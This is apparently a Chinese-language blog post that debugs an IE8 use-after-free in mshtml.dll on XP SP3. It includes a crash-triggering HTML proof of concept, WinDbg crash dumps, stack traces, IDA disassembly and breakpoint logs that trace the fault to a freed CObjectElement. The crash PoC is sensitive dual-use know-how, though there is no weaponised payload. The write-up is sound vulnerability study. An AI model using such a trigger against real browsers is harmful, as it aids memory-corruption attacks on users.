首先这并不是去分析这个漏洞,而是为了学习一点ie内部DOM结构,另外学习一些调试的技巧,至于能不能完整的分析完这个漏洞,我不好说...
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>分割线>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
1.POC:
<html><head><title></title></head><body> <object align='right' hspace='1000' >TAG_1</object> <form id='tag_3' style='float:left' >TAG_3</form> A <strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong> </body></html>
2.调试环境:XP SP3+IE8+Windbg
3.调试步骤
a.开启gflags堆页调试。
b.崩溃信息如下:
0:014> g (250.2b8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=0020d3a8 ecx=00200178 edx=00000000 esi=0208e380 edi=00000000 eip=6363fcc6 esp=0208e354 ebp=0208e36c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc+0x2: 6363fcc6 8b5070 mov edx,dword ptr [eax+70h] ds:0023:00000070=????????
栈回溯信息:
0:008> kb ChildEBP RetAddr Args to Child 0208e350 63602718 00000000 0020d3a8 0208eb98 mshtml!CElement::Doc+0x2 0208e36c 636026a3 0020d3a8 00000000 0020d3a8 mshtml!CTreeNode::ComputeFormats+0xb9 0208e618 63612a85 00210590 0020d3a8 0208e638 mshtml!CTreeNode::ComputeFormatsHelper+0x44 0208e628 63612a45 00210590 0020d3a8 0208e64c mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11 0208e638 63612a2c 00210590 0020d3a8 0000001f mshtml!CTreeNode::GetFancyFormatHelper+0xf 0208e64c 637d29ab 0208e688 637d2906 00210590 mshtml!CTreeNode::GetFancyFormat+0x35 0208e654 637d2906 00210590 02c524a0 00000003 mshtml!CLineCore::AO_GetFancyFormat+0x23 0208e688 63675c93 00000000 00000003 00000000 mshtml!CRecalcLinePtr::RecalcMargins+0x19d 0208ee80 6369985f 0208eec0 0000001a 00000004 mshtml!CDisplay::RecalcLines+0x6e4 0208ef5c 6361c037 0000001e ffffffff 0208eec0 mshtml!CDisplay::WaitForRecalc+0x208 0208efac 636514de 0208f048 0208f048 636017f2 mshtml!CFlowLayout::Notify+0x7d7 0208efb8 636017f2 001ed710 0208f048 001ed7d4 mshtml!NotifyElement+0x41 0208f00c 6365134f 0021b7e8 00000000 001ed7d4 mshtml!CMarkup::SendNotification+0x60 0208f034 63666bc1 0208f048 001ed900 00000000 mshtml!CMarkup::Notify+0xd4 0208f07c 6361bf07 0000000f 00000000 00000000 mshtml!CElement::SendNotification+0x4a 0208f0a0 635d82b7 02c15510 00000000 00207518 mshtml!CElement::EnsureRecalcNotify+0x15f 0208f11c 635cc225 02c97da0 00000003 ffffffff mshtml!CDisplayPointer::MoveUnit+0x2b2 0208f208 635cc092 00207508 00202740 ffffffff mshtml!CHTMLEditor::AdjustPointer+0x16f 0208f23c 635cd2af 02c95bc0 00202740 ffffffff mshtml!CEditTracker::AdjustPointerForInsert+0x8b 0208f298 635cd123 001a0328 00202740 00000000 mshtml!CCaretTracker::PositionCaretAt+0x141
eax指向无效内存,eip指向0x6363fcc6,问题出在mshtml.dll模块,用IDA查看该模块异常处的代码:
.text:6363FCC4 ; public: class CDoc * __thiscall CElement::Doc(void)const .text:6363FCC4 ?Doc@CElement@@QBEPAVCDoc@@XZ proc near ; CODE XREF: CPeerHolder::AttachPeer(IElementBehavior *)-3EFBCp .text:6363FCC4 ; CElement::EnsureIdentityPeer(void)+32p ... .text:6363FCC4 mov eax, [ecx] <-------eax from ecx .text:6363FCC6 mov edx, [eax+70h] <-------exception .text:6363FCC9 call edx .text:6363FCCB mov eax, [eax+0Ch] .text:6363FCCE retn .text:6363FCCE ?Doc@CElement@@QBEPAVCDoc@@XZ endp
ecx信息:
0:008> dd ecx 00200178 00000000 00000000 00000000 00000000 00200188 00000000 00000000 00000000 00000000 00200198 eaa9f6db ff080000 000000e9 00000000 002001a8 00000000 00000000 00000000 00000000 002001b8 00000000 00000000 00000000 00000000 002001c8 00000000 00000000 00000000 00000000 002001d8 00000000 00000000 00000000 00000000 002001e8 00000000 00000000 00000000 00000000
ecx指向一块无效的内存,根据栈回溯来到mshtml!CTreeNode::ComputeFormats:
.text:636026CF ; public: long __thiscall CTreeNode::ComputeFormats(class CFormatInfo *) .text:636026CF ?ComputeFormats@CTreeNode@@QAEJPAVCFormatInfo@@@Z proc near .text:636026CF ; CODE XREF: CTreeNode::ComputeFormatsHelper(void)+3Fp .text:636026CF ; CGeneratedElement::ComputeFormatsVirtual(CFormatInfo *,CTreeNode *)+1B2p .text:636026CF .text:636026CF var_4 = dword ptr -4 .text:636026CF arg_0 = dword ptr 8 .text:636026CF .text:636026CF ; FUNCTION CHUNK AT .text:636D9B4A SIZE 0000001B BYTES .text:636026CF ; FUNCTION CHUNK AT .text:637E914F SIZE 00000133 BYTES .text:636026CF .text:636026CF mov edi, edi .text:636026D1 push ebp .text:636026D2 mov ebp, esp .text:636026D4 and esp, 0FFFFFFF8h .text:636026D7 push ecx .text:636026D8 and [esp+4+var_4], 0 .text:636026DC push ebx .text:636026DD mov ebx, [ebp+arg_0] .text:636026E0 push esi .text:636026E1 mov esi, eax .text:636026E3 mov eax, _WPP_GLOBAL_Control .text:636026E8 mov ecx, [eax+30h] .text:636026EB push edi .text:636026EC mov edi, [eax+34h] .text:636026EF mov edx, ecx .text:636026F1 or edx, edi .text:636026F3 jnz loc_637E914F .text:636026F9 .text:636026F9 loc_636026F9: ; CODE XREF: CTreeNode::ComputeFormats(CFormatInfo *)+1E6A84j .text:636026F9 ; CTreeNode::ComputeFormats(CFormatInfo *)+1E6AA5j .text:636026F9 xor edx, edx .text:636026FB cmp dword_63AB10AC, edx .text:63602701 jnz loc_637E9179 .text:63602707 .text:63602707 loc_63602707: ; CODE XREF: CTreeNode::ComputeFormats(CFormatInfo *)+1E6ABDj .text:63602707 ; CTreeNode::ComputeFormats(CFormatInfo *)+1E6AD0j ... .text:63602707 test byte ptr [ebx+9], 10h .text:6360270B jnz loc_636D9B4A .text:63602711 mov ecx, [ebx] .text:63602713 call ?Doc@CElement@@QBEPAVCDoc@@XZ ; evil call
ecx来自ebx,ebx又来自arg_0,继续忘上层追踪,来的函数mshtml!CTreeNode::ComputeFormatsHelper:
.text:6360265F ; private: void __thiscall CTreeNode::ComputeFormatsHelper(void) .text:6360265F ?ComputeFormatsHelper@CTreeNode@@AAEXXZ proc near .text:6360265F ; CODE XREF: CTreeNode::GetParaFormatIndexHelper(void)+2p .text:6360265F ; CTreeNode::GetCharFormatIndexHelper(void)+2p ... .text:6360265F .text:6360265F Dst = byte ptr -298h .text:6360265F var_1B4 = dword ptr -1B4h .text:6360265F var_1A4 = dword ptr -1A4h .text:6360265F var_4 = dword ptr -4 .text:6360265F .text:6360265F mov edi, edi .text:63602661 push ebp .text:63602662 mov ebp, esp .text:63602664 and esp, 0FFFFFFF8h .text:63602667 sub esp, 298h .text:6360266D mov eax, ___security_cookie .text:63602672 xor eax, esp .text:63602674 mov [esp+298h+var_4], eax .text:6360267B push esi .text:6360267C push edi .text:6360267D lea eax, [esp+2A0h+Dst] .text:63602681 push eax ; Dst .text:63602682 mov esi, ecx ; ecx is evil .text:63602684 call ??0CFormatInfo@@QAE@XZ ; CFormatInfo::CFormatInfo(void) .text:63602689 and [esp+2A0h+var_1B4], 0 .text:63602691 and [esp+2A0h+var_1A4], 0 .text:63602699 push esi ; came from here .text:6360269A lea eax, [esp+2A4h+Dst] .text:6360269E call ?ComputeFormats@CTreeNode@@QAEJPAVCFormatInfo@@@Z ; CTreeNode::ComputeFormats(CFormatInfo *)
这里可以看到esi是ComputeFormats的第一个参数,而这个参数又来自ecx...到这里不要再往上追了,来仔细分析一下:
ecx是CTreeNode类的一个对象,因此,我们来找找CTreeNode是何时被创建的,定位到CTreeNode的构造函数:
text:635A31E6 ; public: __thiscall CTreeNode::CTreeNode(class CTreeNode *, class CElement *, int) .text:635A31E6 ??0CTreeNode@@QAE@PAV0@PAVCElement@@H@Z proc near .text:635A31E6 ; CODE XREF: CMarkup::CreateInitialMarkup(CRootElement *,ulong,int)+44p .text:635A31E6 ; CHtmRootParseCtx::BeginElement(CTreeNode * *,CElement *,CTreeNode *,int)+33p ... .text:635A31E6 .text:635A31E6 arg_0 = dword ptr 8 .text:635A31E6 arg_4 = byte ptr 0Ch .text:635A31E6 .text:635A31E6 ; FUNCTION CHUNK AT .text:636BF2D1 SIZE 0000000E BYTES .text:635A31E6 .text:635A31E6 mov edi, edi .text:635A31E8 push ebp .text:635A31E9 mov ebp, esp .text:635A31EB mov al, [ebp+arg_4] .text:635A31EE or word ptr [ecx+0Ah], 0FFFFh .text:635A31F3 or word ptr [ecx+0Ch], 0FFFFh .text:635A31F8 or word ptr [ecx+0Eh], 0FFFFh .text:635A31FD shl al, 4 .text:635A3200 xor al, [ecx+9] .text:635A3203 push esi .text:635A3204 mov esi, [ecx+40h] .text:635A3207 and esi, 7 .text:635A320A and al, 10h
因此我们再次载入poc,给构造函数下断点:
0:021> bp mshtml!CTreeNode::CTreeNode ".printf " CTreeNode:node[%08x] \n",ecx;gc"0:021> g CTreeNode:node[041e2510] CTreeNode:node[041e2618] CTreeNode:node[041e2618] CTreeNode:node[041e2778] CTreeNode:node[041e27d0] CTreeNode:node[041e2828] CTreeNode:node[041e2880] CTreeNode:node[041e2930] CTreeNode:node[041e2a38] CTreeNode:node[041e2a90] CTreeNode:node[041e2ae8] CTreeNode:node[041e2b40] CTreeNode:node[041e2bf0] CTreeNode:node[03145ce0] CTreeNode:node[03145ce0] CTreeNode:node[041e2988] CTreeNode:node[041e2a90] CTreeNode:node[041e2ae8] CTreeNode:node[041e29e0] CTreeNode:node[041e2b98] CTreeNode:node[03145d38] CTreeNode:node[03145e40] CTreeNode:node[03145d38] CTreeNode:node[03145e40] CTreeNode:node[041e2a38] CTreeNode:node[041e29e0] CTreeNode:node[041e2bf0] CTreeNode:node[041e2b40] CTreeNode:node[041e2930] CTreeNode:node[03145de8] CTreeNode:node[03145e98] CTreeNode:node[03145de8] CTreeNode:node[03145e98] CTreeNode:node[041e2a90] CTreeNode:node[041e2b40] CTreeNode:node[041e2b98] CTreeNode:node[041e2ae8] CTreeNode:node[041e2988] CTreeNode:node[03145ce0] CTreeNode:node[03145e40] CTreeNode:node[03145ef0] CTreeNode:node[03145ce0] CTreeNode:node[03145e40] CTreeNode:node[03145ef0] CTreeNode:node[041e2880] CTreeNode:node[041e2b40] CTreeNode:node[041e2988] CTreeNode:node[041e2b98] CTreeNode:node[041e2ae8] (590.688): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=e7000000 ebx=03145ce0 ecx=001f000d edx=00000000 esi=0208e380 edi=00000000 eip=6363fcc6 esp=0208e354 ebp=0208e36c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc+0x2: 6363fcc6 8b5070 mov edx,dword ptr [eax+70h] ds:0023:e7000070=????????
可以看到在崩溃时ebx确实是CTreeNode的对象,那么ecx呢?
重新下断:
0:016> bp mshtml!CTreeNode::CTreeNode ".printf " CTreeNode:node[%08x] Type:",ecx;dds edi l1;gc" 0:016> g CTreeNode:node[02d3e4e0] Type:02cc42d0 635a21b0 mshtml!CRootElement::`vftable' CTreeNode:node[001fbc48] Type:0020e830 635a21b0 mshtml!CRootElement::`vftable' CTreeNode:node[001fbc48] Type:0020e830 635af580 mshtml!CHtmlElement::`vftable' CTreeNode:node[001fbe00] Type:0020ea10 635af850 mshtml!CHeadElement::`vftable' CTreeNode:node[001fbda8] Type:02d3c090 635afad0 mshtml!CTitleElement::`vftable' CTreeNode:node[001fbd50] Type:02d3bfb0 635ba8c0 mshtml!CBodyElement::`vftable' CTreeNode:node[001fbcf8] Type:00212120 635ad1f8 mshtml!CScriptElement::`vftable' ModLoad: 63380000 63434000 C:WINDOWSsystem32jscript.dll CTreeNode:node[02d3e538] Type:0020e8c0 635a21b0 mshtml!CRootElement::`vftable' CTreeNode:node[02d3e640] Type:0020eb90 635af580 mshtml!CHtmlElement::`vftable' CTreeNode:node[02d3e698] Type:02cc42a0 635af850 mshtml!CHeadElement::`vftable' CTreeNode:node[02d3e6f0] Type:02d3c1e0 635afad0 mshtml!CTitleElement::`vftable' CTreeNode:node[02d3e748] Type:002125f0 635ad1f8 mshtml!CScriptElement::`vftable' CTreeNode:node[02d3e7f8] Type:02d3c100 635ba8c0 mshtml!CBodyElement::`vftable' CTreeNode:node[02d3e850] Type:001f00e0 637666e0 mshtml!CObjectElement::`vftable' CTreeNode:node[02d3e850] Type:001f00e0 637666e0 mshtml!CObjectElement::`vftable' CTreeNode:node[02d3e590] Type:0020e8c0 635a21b0 mshtml!CRootElement::`vftable' CTreeNode:node[02d3e698] Type:0020eb90 635af580 mshtml!CHtmlElement::`vftable' CTreeNode:node[02d3e6f0] Type:02cc42a0 635af850 mshtml!CHeadElement::`vftable' CTreeNode:node[02d3e8a8] Type:02d3c100 635afad0 mshtml!CTitleElement::`vftable' CTreeNode:node[02d3e5e8] Type:02d3c1e0 635ba8c0 mshtml!CBodyElement::`vftable' CTreeNode:node[02d3e7a0] Type:001f01c8 637666e0 mshtml!CObjectElement::`vftable' CTreeNode:node[02d3e9b0] Type:00212580 63630788 mshtml!CAnchorElement::`vftable' CTreeNode:node[02d3e7a0] Type:001f01c8 637666e0 mshtml!CObjectElement::`vftable' CTreeNode:node[02d3e9b0] Type:00212580 63630788 mshtml!CAnchorElement::`vftable' CTreeNode:node[02d3e640] Type:0020e8c0 635a21b0 mshtml!CRootElement::`vftable' CTreeNode:node[02d3e8a8] Type:0020eb90 635af580 mshtml!CHtmlElement::`vftable' CTreeNode:node[02d3e958] Type:02cc42a0 635af850 mshtml!CHeadElement::`vftable' CTreeNode:node[02d3e7f8] Type:02d3c1a8 635afad0 mshtml!CTitleElement::`vftable' CTreeNode:node[02d3e748] Type:02d3c100 635ba8c0 mshtml!CBodyElement::`vftable' CTreeNode:node[02d3e538] Type:001f00e0 637666e0 mshtml!CObjectElement::`vftable' CTreeNode:node[02d3ea08] Type:002126d0 63630788 mshtml!CAnchorElement::`vftable' CTreeNode:node[02d3e538] Type:001f00e0 637666e0 mshtml!CObjectElement::`vftable' CTreeNode:node[02d3ea08] Type:002126d0 63630788 mshtml!CAnchorElement::`vftable' CTreeNode:node[02d3e698] Type:0020e8c0 635a21b0 mshtml!CRootElement::`vftable' CTreeNode:node[02d3e7f8] Type:0020eb90 635af580 mshtml!CHtmlElement::`vftable' CTreeNode:node[02d3e850] Type:02cc42a0 635af850 mshtml!CHeadElement::`vftable' CTreeNode:node[02d3e5e8] Type:02d3c170 635afad0 mshtml!CTitleElement::`vftable' CTreeNode:node[02d3e6f0] Type:02d3c1a8 635ba8c0 mshtml!CBodyElement::`vftable' CTreeNode:node[02d3e590] Type:001f01c8 637666e0 mshtml!CObjectElement::`vftable' CTreeNode:node[02d3e9b0] Type:00212660 63630788 mshtml!CAnchorElement::`vftable' CTreeNode:node[02d3ea60] Type:02cc40c0 6362fa90 mshtml!CPhraseElement::`vftable' CTreeNode:node[02d3e590] Type:001f01c8 637666e0 mshtml!CObjectElement::`vftable' CTreeNode:node[02d3e9b0] Type:00212660 63630788 mshtml!CAnchorElement::`vftable' CTreeNode:node[02d3ea60] Type:02cc40c0 6362fa90 mshtml!CPhraseElement::`vftable' CTreeNode:node[001fbcf8] Type:02cc42a0 635a21b0 mshtml!CRootElement::`vftable' CTreeNode:node[02d3e7f8] Type:02cc4060 635af580 mshtml!CHtmlElement::`vftable' CTreeNode:node[02d3e6f0] Type:02cc4300 635af850 mshtml!CHeadElement::`vftable' CTreeNode:node[02d3e850] Type:02d3c288 635afad0 mshtml!CTitleElement::`vftable' CTreeNode:node[02d3e5e8] Type:02d3c2c0 635ba8c0 mshtml!CBodyElement::`vftable' (344.6d4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=02d3e590 ecx=001f0070 edx=00000000 esi=020de380 edi=00000000 eip=6363fcc6 esp=020de354 ebp=020de36c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc+0x2: 6363fcc6 8b5070 mov edx,dword ptr [eax+70h] ds:0023:00000070=????????
可以看到在崩溃前的CTreeNode构造函数传递的参数类型是mshtml!CObjectElement::`vftable'
因此可以断定是CObjectElement对象出了问题,结合poc,应该是CObjectElement被释放后又重新被引用造成的use after free。
产生的问题:
1、什么时候释放的这个对象?
2、为什么会引用这个释放了的对象?
3、涉及到的CObjectElement、CTreeNode,这两个类到底是什么关系?